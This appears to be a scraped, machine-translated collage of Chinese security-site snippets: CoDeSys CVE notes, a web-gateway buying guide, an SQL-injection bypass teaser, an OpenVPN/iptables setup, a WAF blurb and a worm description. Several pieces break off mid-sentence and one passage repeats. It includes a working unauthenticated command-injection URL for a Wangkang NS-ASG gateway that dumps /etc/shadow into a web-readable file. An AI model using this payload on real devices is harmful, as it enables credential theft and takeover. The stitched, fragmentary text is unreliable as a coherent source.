construct a path name, but does not strictly verify the path name. As a result, attackers can bypass directory restrictions of the affected products.Cve-2012-4706Heap Buffer Overflow Vulnerability. The vulnerability is caused by the lax verification of a signed type variable by the 3 S CoDeSys Gateway Server. The vulnerability is triggered by sending specially crafted data packets to TCP/1211.Cve-2012-4707Buffer cross-border access (read and write) v
Security Web gateway assessment: 10 questions that enterprises should be awareAfter you understand the advantages and disadvantages of the secure Web gateway device, you need to evaluate whether the technology is suitable for your environment. The following are 10 questions that enterprises should think clearly to determine whether
Wangkang security gateway SQL injection (bypassing global anti-injection)
After the last baptism of wangkang technology, the overall security has been greatly improved (clap your hands ...)Its global filter function is very abnormal. After the study, we finally found an injection that bypasses abnormal global anti-injection.
0x01 let's take a look at the global f
online environment is as follows:
The user logs on to the OpenVPN system. After the system passes verification, the user obtains a private IP address and records the account name.
After the connection is established, the OpenVPN system calls the Connect script.
IPtables adds the user's IP address to the corresponding rule group Chain.
The user obtains the corresponding access permissions.
The user completes the access and disconnects. IPTables removes the IP addresses occupied by the user
Software introduction:
Safe3waf is the first in ChinaFreeLinux lightweight Web Reverse Proxy Security Gateway, using a architecture similar to nginx with less memory and high concurrency. As the front end of the web server, no
However, it can defend against various hacker attacks, Cache Server-related requests to speed up Web servers, and provide website Cluster load balancing and other functions.
Currently
Wangkang NS-ASG application security gateway Remote Command Execution
Directly execute remote commands without logon.Vulnerability
The verification method is as follows:Https://www.xxxxx.com/admin/device_status.php? Action = getethinfo defaults x = a | cat/etc/shadow>/Isc/third-party/httpd/htdocs/test. phpSolution:
Is wangkang's device written by a temporary engineer?
. As a result, the more worms spread, the more scanning packets on the network. Even if the probe packets sent by the scanning program are small and contain less, the network congestion caused by the scanning of a large number of worms is very serious.
Second, attacks: When the worm scans hosts on the network, it begins to use its own destructive function to obtain the administrator privilege of the host. Finally, use the interaction between the original host and the new host to copy the worm pr
. Even if the probe packets sent by the scanning program are small and contain less, the network congestion caused by the scanning of a large number of worms is very serious.
Second, attacks: When the worm scans hosts on the network, it begins to use its own destructive function to obtain the administrator privilege of the host. Finally, use the interaction between the original host and the new host to copy the worm program to the new host and start it. It can be seen that the harm of worms has
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